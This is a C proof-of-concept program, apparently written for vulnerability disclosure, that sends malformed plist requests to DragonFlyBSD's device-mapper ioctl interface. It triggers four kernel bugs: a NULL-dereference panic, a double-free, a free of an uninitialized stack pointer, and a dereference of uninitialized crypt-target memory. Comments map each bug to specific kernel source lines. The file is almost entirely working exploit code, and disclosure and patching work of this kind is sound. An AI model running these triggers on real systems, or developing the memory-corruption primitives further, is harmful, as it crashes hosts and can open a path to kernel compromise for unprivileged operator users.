DF-1640 / dm_poc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 | /* * DF-1634 / DF-1639 / DF-1640 / DF-1642 -- DragonFlyBSD device-mapper ioctl PoCs * * Four distinct bugs reachable through the NETBSD_DM_IOCTL interface on * /dev/mapper/control (default perms 0640 root:operator), reproduced by an * operator-group user once the admin has loaded the dm KLD module * (kldload dm[, dm_target_crypt]). * * The PoC builds the prop_dictionary plist XML by hand (no libprop dep) so we * can craft the exact malformed inputs each bug requires (missing keys, * partial arrays). It is dispatched against the in-kernel dm ioctl handler * via the standard plistref transport. * * Build: cc -o dm_poc dm_poc.c * Run: ./dm_poc <case> * case = 1639 | 1640 | 1642 | 1634 | create | load_zero * * Cases: * create -- create a dm device named "pocdev" (helper, no bug) * load_zero -- reload a single zero target entry (helper, no bug) * 1639 -- DF-1639: reload with NO cmd_data key -> NULL-deref panic * 1640 -- DF-1640: reload with [zero(params=foo), zero(no params)] * -> double-free of stale str in M_TEMP * 1642 -- DF-1642: message to existing device with NO message key * -> kfree of uninitialized stack msg pointer * 1634 -- DF-1634: reload type=crypt with unsupported iv_mode * -> uninit heap deref in dm_target_crypt_destroy */ #include <sys/types.h> #include <sys/ioctl.h> #include <dev/disk/dm/netbsd-dm.h> /* NETBSD_DM_IOCTL + key #defines */ #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #define DM_DEV "/dev/mapper/control" #define DEVNAME "pocdev" struct plistref; static int send_ioctl(int fd, const char *xml) { struct plistref pref; int rc; pref.pref_plist = (void *)xml; pref.pref_len = strlen(xml) + 1; rc = ioctl(fd, NETBSD_DM_IOCTL, &pref); return rc; } /* ---- XML builders (hand-rolled to allow missing/malformed keys) ------- */ /* HDR/FTR are macros so they concatenate with adjacent string literals. */ #define HDR \ "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" \ "<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" " \ "\"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n" \ "<plist version=\"1.0\">\n" #define FTR "</plist>\n" int main(int argc, char **argv) { int fd, rc; char *buf; const char *cmd; if (argc < 2) { fprintf(stderr, "usage: %s <1639|1640|1642|1634|create|load_zero>\n", argv[0]); return 2; } cmd = argv[1]; fd = open(DM_DEV, O_RDONLY); /* 0640 root:operator -> operator opens RO */ if (fd < 0) { fprintf(stderr, "open %s: %s\n", DM_DEV, strerror(errno)); return 2; } if (strcmp(cmd, "create") == 0) { /* command=create with a minimal cmd_data describing a zero dev */ const char *xml = HDR "<dict>\n" " <key>command</key><string>create</string>\n" " <key>version</key>\n" " <array><integer>4</integer><integer>1</integer><integer>0</integer></array>\n" " <key>flags</key><integer>0</integer>\n" " <key>name</key><string>" DEVNAME "</string>\n" " <key>cmd_data</key>\n" " <array>\n" " <dict>\n" " <key>name</key><string>" DEVNAME "</string>\n" " <key>dev</key><string>dm/" DEVNAME "</string>\n" " </dict>\n" " </array>\n" "</dict>\n" FTR; rc = send_ioctl(fd, xml); printf("create: rc=%d errno=%d (%s)\n", rc, errno, strerror(errno)); close(fd); return (rc == 0) ? 0 : 1; } else if (strcmp(cmd, "load_zero") == 0) { /* reload with one zero target entry that has params -- sets up state */ const char *xml = HDR "<dict>\n" " <key>command</key><string>reload</string>\n" " <key>version</key>\n" " <array><integer>4</integer><integer>1</integer><integer>0</integer></array>\n" " <key>flags</key><integer>1</integer>\n" " <key>name</key><string>" DEVNAME "</string>\n" " <key>cmd_data</key>\n" " <array>\n" " <dict>\n" " <key>type</key><string>zero</string>\n" " <key>start</key><integer>0</integer>\n" " <key>length</key><integer>1000</integer>\n" " <key>params</key><string></string>\n" " </dict>\n" " </array>\n" "</dict>\n" FTR; rc = send_ioctl(fd, xml); printf("load_zero: rc=%d errno=%d (%s)\n", rc, errno, strerror(errno)); close(fd); return (rc == 0) ? 0 : 1; } else if (strcmp(cmd, "1639") == 0) { /* DF-1639: reload with NO cmd_data key. * dm_ioctl.c:707 cmd_array = prop_dictionary_get(..., "cmd_data") -> NULL * dm_ioctl.c:708 prop_array_iterator(NULL) -> NULL-deref panic. */ char tmp[8192]; snprintf(tmp, sizeof tmp, HDR "<dict>\n" " <key>command</key><string>reload</string>\n" " <key>version</key>\n" " <array><integer>4</integer><integer>1</integer><integer>0</integer></array>\n" " <key>flags</key><integer>0</integer>\n" " <key>name</key><string>" DEVNAME "</string>\n" "</dict>\n" FTR); rc = send_ioctl(fd, tmp); printf("DF-1639 reload(no cmd_data): rc=%d errno=%d (%s)\n", rc, errno, strerror(errno)); /* If we get here at all the bug was not hit. A panic kills the syscall * and we never return; the guest goes down. */ close(fd); return 0; } else if (strcmp(cmd, "1640") == 0) { /* DF-1640: reload with TWO table entries. First entry has params="foo", * so get_cstring allocates and stores into `str`; line 791 kfree(str) * leaves str dangling. Second entry has NO params key, so get_cstring * fails and str stays dangling; line 791 kfree(str) is a DOUBLE-FREE. * (The first iteration's dm_table_init on `zero` ignores params because * the zero target has no ->init, so the load itself returns 0.) */ const char *xml = HDR "<dict>\n" " <key>command</key><string>reload</string>\n" " <key>version</key>\n" " <array><integer>4</integer><integer>1</integer><integer>0</integer></array>\n" " <key>flags</key><integer>1</integer>\n" " <key>name</key><string>" DEVNAME "</string>\n" " <key>cmd_data</key>\n" " <array>\n" " <dict>\n" " <key>type</key><string>zero</string>\n" " <key>start</key><integer>0</integer>\n" " <key>length</key><integer>500</integer>\n" " <key>params</key><string>AAAAAAAAAAAAAAAA</string>\n" " </dict>\n" " <dict>\n" " <key>type</key><string>zero</string>\n" " <key>start</key><integer>500</integer>\n" " <key>length</key><integer>500</integer>\n" " </dict>\n" " </array>\n" "</dict>\n" FTR; rc = send_ioctl(fd, xml); printf("DF-1640 reload(double-free str): rc=%d errno=%d (%s)\n", rc, errno, strerror(errno)); close(fd); return 0; } else if (strcmp(cmd, "1642") == 0) { /* DF-1642: command=message to existing device, sector=0, NO message key. * dm_ioctl.c:1006 char *msg; (uninitialized) * dm_ioctl.c:1028 get_cstring(... "message" ...) fails, msg stays garbage * dm_ioctl.c:1053 target->message(table_en, msg) -- if found, derefs garbage * dm_ioctl.c:1058 kfree(msg, M_TEMP) -- frees stack garbage pointer */ const char *xml = HDR "<dict>\n" " <key>command</key><string>message</string>\n" " <key>version</key>\n" " <array><integer>4</integer><integer>1</integer><integer>0</integer></array>\n" " <key>flags</key><integer>0</integer>\n" " <key>name</key><string>" DEVNAME "</string>\n" " <key>sector</key><integer>0</integer>\n" "</dict>\n" FTR; rc = send_ioctl(fd, xml); printf("DF-1642 message(no msg key): rc=%d errno=%d (%s)\n", rc, errno, strerror(errno)); close(fd); return 0; } else if (strcmp(cmd, "1634") == 0) { /* DF-1634: reload type=crypt with an unsupported iv_mode. * dm_target_crypt.c:489 priv=kmalloc(...,M_WAITOK) -- NO M_ZERO * :513 dm_table_init_target publishes priv into table_en->target_config * :530-533 iv_mode unsupported -> goto notsup -> init returns ENOTSUP * dm_ioctl.c:783-785 dm_table_init fails -> dm_table_destroy -> * dm_target_crypt_destroy derefs: * :620 dmtc_destroy_mpipe(priv) on UNINITIALIZED mpipe -> * kern_mpipe.c:147 KKASSERT(free_count==total_count) panic * :628 priv->status_str (garbage), :633 priv->ivgen (garbage), * :637 cryptoapi_cipher_freesession(priv->crypto_session) garbage * Params format for crypt: <cipher>-<mode>-<ivmode> <key> <iv_off> <dev> <blk_off> * We use aes-cbc-BOGUS so iv_mode='BOGUS' is unsupported. */ const char *xml = HDR "<dict>\n" " <key>command</key><string>reload</string>\n" " <key>version</key>\n" " <array><integer>4</integer><integer>1</integer><integer>0</integer></array>\n" " <key>flags</key><integer>1</integer>\n" " <key>name</key><string>" DEVNAME "</string>\n" " <key>cmd_data</key>\n" " <array>\n" " <dict>\n" " <key>type</key><string>crypt</string>\n" " <key>start</key><integer>0</integer>\n" " <key>length</key><integer>1000</integer>\n" " <key>params</key><string>aes-cbc-BOGUS 0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef 0 /dev/vbd0 0</string>\n" " </dict>\n" " </array>\n" "</dict>\n" FTR; rc = send_ioctl(fd, xml); printf("DF-1634 crypt(unsupported iv_mode): rc=%d errno=%d (%s)\n", rc, errno, strerror(errno)); close(fd); return 0; } fprintf(stderr, "unknown case %s\n", cmd); close(fd); return 2; } |